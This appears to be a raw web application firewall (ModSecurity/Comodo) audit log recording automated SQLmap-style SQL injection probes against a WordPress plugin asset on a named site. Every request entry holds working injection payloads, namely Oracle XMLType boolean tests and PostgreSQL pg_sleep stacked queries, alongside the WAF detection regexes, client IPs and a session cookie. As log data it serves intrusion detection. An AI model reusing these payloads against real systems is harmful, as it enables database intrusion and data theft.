cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --a2e7d825-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --a2e7d825-E-- --a2e7d825-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (9570=9570 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 8564=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(98)||chr(107)||chr(107)||chr(113)||(select (case when (8564=8564) then 1 else 0 end) from dual)||chr(113)||chr(112)||chr(112)||chr(122)||chr(113)||chr(62))) from dual) and (9570=9570"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (9570=9570 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 8564=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(98)||chr(107)||chr(107)||chr(113)||(select (case when (8564=8564) then 1 else 0 end) from dual)||chr(113)||chr(112)||chr(112)||chr(122)||chr(113)||chr(62))) from dual) and (9570=9570"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88vwiLzf5Jb_3uGhHfegAAAAA"] Stopwatch: 1750023359183730 5222 (- - -) Stopwatch2: 1750023359183730 5222; combined=3295, p1=391, p2=2755, p3=37, p4=28, p5=84, sr=93, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a2e7d825-Z-- --70e9320a-A-- [16/Jun/2025:03:06:00.692501 +0530] aE88wPkun2jazaBvM9ttqgAAAAE 172.68.194.149 58746 127.0.0.1 7081 --70e9320a-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20AND%208564%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288564%3D8564%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29%29%20FROM%20DUAL%29%20AND%20%28%27sTZf%27%3D%27sTZf HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.194.149 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505335258b5dc70-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --70e9320a-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --70e9320a-E-- --70e9320a-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('stzf'='stzf found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 8564=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(98)||chr(107)||chr(107)||chr(113)||(select (case when (8564=8564) then 1 else 0 end) from dual)||chr(113)||chr(112)||chr(112)||chr(122)||chr(113)||chr(62))) from dual) and ('stzf'='stzf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('stzf'='stzf found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 8564=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(98)||chr(107)||chr(107)||chr(113)||(select (case when (8564=8564) then 1 else 0 end) from dual)||chr(113)||chr(112)||chr(112)||chr(122)||chr(113)||chr(62))) from dual) and ('stzf'='stzf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wPkun2jazaBvM9ttqgAAAAE"] Stopwatch: 1750023360686539 6048 (- - -) Stopwatch2: 1750023360686539 6048; combined=4076, p1=378, p2=3529, p3=40, p4=27, p5=102, sr=105, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70e9320a-Z-- --b33bb70d-A-- [16/Jun/2025:03:06:01.206523 +0530] aE88wUNwpNEMJppxC49RdgAAAAI 172.71.144.93 58768 127.0.0.1 7081 --b33bb70d-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20AND%208564%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288564%3D8564%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29%29%20FROM%20DUAL%29%20AND%20%27peis%27%3D%27peis HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.93 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533559c1e6910-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --b33bb70d-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --b33bb70d-E-- --b33bb70d-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'peis'='peis found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 8564=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(98)||chr(107)||chr(107)||chr(113)||(select (case when (8564=8564) then 1 else 0 end) from dual)||chr(113)||chr(112)||chr(112)||chr(122)||chr(113)||chr(62))) from dual) and 'peis'='peis"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'peis'='peis found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 8564=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(98)||chr(107)||chr(107)||chr(113)||(select (case when (8564=8564) then 1 else 0 end) from dual)||chr(113)||chr(112)||chr(112)||chr(122)||chr(113)||chr(62))) from dual) and 'peis'='peis"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wUNwpNEMJppxC49RdgAAAAI"] Stopwatch: 1750023361200655 5952 (- - -) Stopwatch2: 1750023361200655 5952; combined=4031, p1=384, p2=3390, p3=35, p4=137, p5=85, sr=101, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b33bb70d-Z-- --68198c4f-A-- [16/Jun/2025:03:06:02.233614 +0530] aE88wlR6EeXjkGzEkblkhQAAAAs 172.71.144.140 58896 127.0.0.1 7081 --68198c4f-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%3BSELECT%20PG_SLEEP%285%29-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.140 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505335bfe58dc8a-FRA cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cf-ipcountry: DE cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --68198c4f-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --68198c4f-E-- --68198c4f-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687);SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:ver: 1749036687);SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687);select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687);SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wlR6EeXjkGzEkblkhQAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:ver: 1749036687);SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wlR6EeXjkGzEkblkhQAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687);select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wlR6EeXjkGzEkblkhQAAAAs"] Stopwatch: 1750023362229229 4471 (- - -) Stopwatch2: 1750023362229229 4471; combined=2722, p1=310, p2=2214, p3=29, p4=23, p5=146, sr=77, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --68198c4f-Z-- --6679f679-A-- [16/Jun/2025:03:06:02.752089 +0530] aE88wnZqyQ8YfVGvJU7YTAAAAAY 172.69.150.190 59086 127.0.0.1 7081 --6679f679-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%3BSELECT%20PG_SLEEP%285%29-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.150.190 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505335f3b466e15-FRA cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cf-ipcountry: DE cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --6679f679-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --6679f679-E-- --6679f679-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687;SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:ver: 1749036687;SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687;select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687;SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wnZqyQ8YfVGvJU7YTAAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:ver: 1749036687;SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wnZqyQ8YfVGvJU7YTAAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687;select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88wnZqyQ8YfVGvJU7YTAAAAAY"] Stopwatch: 1750023362746848 5324 (- - -) Stopwatch2: 1750023362746848 5324; combined=3159, p1=343, p2=2616, p3=34, p4=27, p5=138, sr=88, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6679f679-Z-- --37f3a719-A-- [16/Jun/2025:03:06:03.271240 +0530] aE88w_kun2jazaBvM9ttsAAAAAE 172.71.172.97 59118 127.0.0.1 7081 --37f3a719-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%3BSELECT%20PG_SLEEP%285%29-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.97 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533627bd89b46-FRA cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cf-ipcountry: DE cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --37f3a719-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --37f3a719-E-- --37f3a719-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687');SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; 